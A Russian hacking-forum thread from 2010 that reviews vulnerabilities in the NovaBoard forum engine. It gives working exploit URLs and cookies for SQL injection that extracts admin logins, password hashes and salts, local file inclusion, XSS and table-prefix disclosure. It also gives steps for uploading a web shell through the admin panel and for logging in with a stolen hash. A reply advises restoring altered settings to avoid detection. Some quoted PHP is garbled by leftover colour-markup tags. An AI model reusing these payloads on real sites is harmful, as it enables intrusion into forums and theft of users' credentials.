HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Обзор уязвимостей NovaBoard]
  #1  
Старый 05.01.2010, 17:20
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами: 9428066

Репутация: 1668
По умолчанию [Обзор уязвимостей NovaBoard]

Обзор уязвимостей NovaBoard Forum

Official site: www.novaboard.net
Latest release: NovaBoard v1.1.2

------------------------------------------------------------------------------
Default table prefix: novaboard_
Table with users: members
Columns:
Код:
|id|name|usertitle|email|role|password|password_time|pass_salt|theme|board_lang|time_offset|read_all_posts|avatar|remote_avatar|signature|location|nationality|msn|aol|yahoo|skype|xbox|wii|ps3|last_online|warn_level|suspend_date|whiteboard|register_date|verified|user_posts|banned|new_pms|allow_admin_email|moderate|subscribe_pm|never_spam|
Алгоритм хэширования паролей:
Код:
// Generate salt...
$salt = substr(md5(uniqid(rand(), true)), 0, 9);
// Salt the password
$password= md5($password . $salt);
------------------------------------------------------------------------------

SQL injection

#1
Vuln file: /includes/pages/search.php
Код:
/*...*/
$forum=implode(",",$_GET['forums']);
$forum = htmlentities($forum);
$forum = escape_string($forum);
/*...*/
$sql989 = "SELECT MEMBER, TIME, TOPIC_ID, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) AS score FROM {$db_prefix}posts WHERE FORUM_ID IN($forum) AND TIME >= '$startdate' AND TIME <= '$enddate' AND MEMBER='$id' AND APPROVED='1' AND MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) ORDER BY score DESC";
}
/*...*/
Exploit:
Код:
http://[host]/[path]/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[]=1)+union+select+null,null,null,5,concat_ws(0x3a,name,password,pass_salt),null,null,null,null+from+[prefix]members+where+id=1+--+
#2
Vuln file: /includes/forums/addreply.php
Код:
if ($_COOKIE['mqpid']!=''){

$array=array($_COOKIE['mqpid']);
$array = implode(",",$array);
$quote="";

$query217 = "select MEMBER, CONTENT, TOPIC_ID, ID  from {$db_prefix}posts WHERE ID IN($array) ORDER BY ID desc";
$result217 = mysql_query($query217) or die("addreply.php - Error in query: $query217") ;
Need: user account
Exploit:
Код:
GET http://[host]/[path]/index.php?func=addreply&topic=1 HTTP/1.0

Cookie: mqpid=1) union select null,concat_ws(0x3a,name,password,pass_salt),null,null from [prefix]members where id=1/*
#3
Vuln file: /includes/header.php
Код:
/*...*/
		if (isset($_GET['topic']) && ($_GET['page']!='search')){

			$location_text="";

			$query211 = "select CONTENT from {$db_prefix}posts WHERE TOPIC_ID='$topic' AND TITLE!=''";
			$result211 = mysql_query($query211) or die("topic.php - Error in query: $query211");
/*...*/
Need: magic_quotes = OFF
Exploit:
Код:
http://[host]/[path]/index.php?page=list&forum=1&topic=xek'+union+select+concat_ws(0x3a,name,password,pass_salt)+from+[prefix]members+where+id=1+--+
Note: Вывод ищем в исходном коде страницы:
Код:
<meta name="description" content="{login:hash:salt}" />
Local File Inclusion

Vuln file: /includes/structure.php
Код:
/*...*/
			$page	=	escape_string($_GET['page']);
/*...*/
		if (file_exists("themes/$theme/includes/pages/$page.php")){
			include "themes/$theme/includes/pages/$page.php";
		}
		elseif (include("includes/pages/$page.php")){
		}
/*...*/
Exploit:
Код:
http://[host]/[path]/index.php?page=../../download
Note: null byte экранируется...


Active XSS
Exploit:
Код:
[img]javascript:alert(1)[/img]
Note: уязвимость в add reply


Passive XSS
Exploit:
Код:
http://[host]/[path]/index.php?page=search&search=xek&topic=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author_id=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&startdate=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&enddate=1"><script>alert(1)</script>
XSS in URI
Exploit:
Код:
http://[host]/[path]/index.php/"><script>alert(1)</script>
Disclosure of Table Prefix
Exploit:
Код:
http://[host]/[path]/index.php?topic=1&limit=x
Note: на это форум выдаст примерно такую ошибку:
Цитата:
topic.php - Error in query: select MEMBER, TIME, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, EDIT_REASON, TITLE, DESCRIPTION, STICKY, ANNOUNCE, REPORTED, APPROVED from novaboard_posts WHERE TOPIC_ID='1' AND APPROVED='1' ORDER BY TIME asc LIMIT -30, 30
------------------------------------------------------------------------------
Upload shell from Admin CP

Пакуем шелл winzip'ом
Далее переходим в Admin CP --> Board Settings --> Modules Settings
аплодим наш чудо-модуль..
Шелл будет находиться в /modules/[name_shell].php

Таким же способом можно залить через Themes Settings
шелл будет в папке themes
------------------------------------------------------------------------------
P.S. все найденные уязвимости тестировались на NovaBoard v1.1.2. Есть большая вероятность что эти уязвимости будут работать и на более ранних версиях.

Последний раз редактировалось RulleR; 05.01.2010 в 20:54..
 
Ответить с цитированием

  #2  
Старый 05.01.2010, 20:01
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
С нами: 9521666

Репутация: 1695
По умолчанию

отлично.
от себя добавлю, вход в админку по хешу.
Создаем cookie:
Цитата:
nova_name - тут логин
nova_password - тут хеш пароля, полученный через скулю
__________________
Cервер cs 1.6
cs.antichat.net:27015
 
Ответить с цитированием

  #3  
Старый 29.03.2010, 21:37
RedX
Познающий
Регистрация: 12.06.2008
Сообщений: 32
С нами: 9427499

Репутация: 22
По умолчанию

Вышла версия 1.1.3 SQL-Inj в поиске пофиксили точно!
 
Ответить с цитированием

  #4  
Старый 01.07.2010, 02:41
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
С нами: 9389186

Репутация: 573
По умолчанию

RulleR подтолкнул меня вспомнить об этом топике на форуме

Двиг понравился, потестил, добавляю от себя 5 копеек.

Тестил на последней 1.1.4

Код:
http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
1) LFI

---------------------------------

Need

Rg=on

mq=off

---------------------------------

structure.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'forum'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]categories WHERE ID = '[/COLOR][COLOR="#0000BB"]$forum_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"structure.php - Error in query:[/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]$num_result[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'0'[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

}

else{

[/
COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

}

}



if
(isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]// need register_globals

[/COLOR][COLOR="#007700"]........................................

if (isset([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]) && ([/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])){

[/
COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$category_theme[/COLOR][COLOR="#007700"];

........................................

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){

include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];

}

.........................................

[/
COLOR][/COLOR
Как юзать

Код:
http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
2) Нашел еще скули требующие rg=on и mq=off

Выложу только самую интересную.

verify.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members SET verified = '1' WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT ID, NAME FROM[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]members WHERE md5(pass_salt) = '[/COLOR][COLOR="#0000BB"]$hash_id[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#DD0000"]"download.php - Error in query:[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql_result[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ID'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'NAME'[/COLOR][COLOR="#007700"]];

}

[/
COLOR][COLOR="#FF8000"]// register_globals=on

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings SET stats_member_id='[/COLOR][COLOR="#0000BB"]$new_id[/COLOR][COLOR="#DD0000"]', stats_member_name='[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]', stats_members=stats_members+1"[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR
инъект в Update

таблица settings хранит основные настройки форума, мы ее можем update

---------------------------

need

rg=on

mq=off

---------------------------

как юзать.

Если куки не очищены-> чистим

применить можно по разному

1. вывести данные админа

Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.

2. LFI через скуль

если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы

structure.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"select THEME from[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$db_prefix[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]settings"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query2[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"Have you run install.php yet?"[/COLOR][COLOR="#007700"]) ;

[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_result[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

.......................

if ([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"])){

include[/COLOR][COLOR="#DD0000"]"themes/[/COLOR][COLOR="#0000BB"]$theme[/COLOR][COLOR="#DD0000"]/includes/header.php"[/COLOR][COLOR="#007700"];

}

.......................

[/
COLOR][/COLOR
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.

-----------------------------------------

можно заюзать эту багу и без условий mq и rg, но нужны права админа. Писать не буду, так как смысл отпадает, RulleR уже написал, как имея права админа без палева шелл впендюрить

Усе
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Уязвимости CMS / форумов 167 17.10.2019 18:14
[Обзор уязвимостей myBB] Goudini Уязвимости CMS / форумов 25 03.08.2011 08:20
[Обзор Уязвимостей Yabb] _-[A.M.D]HiM@S-_ Уязвимости CMS / форумов 9 29.07.2011 16:03
[Обзор уязвимостей Phorum] _-[A.M.D]HiM@S-_ Уязвимости CMS / форумов 11 23.05.2010 13:42
[Обзор уязвимостей IceBB] Solide Snake Уязвимости CMS / форумов 7 16.12.2009 23:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.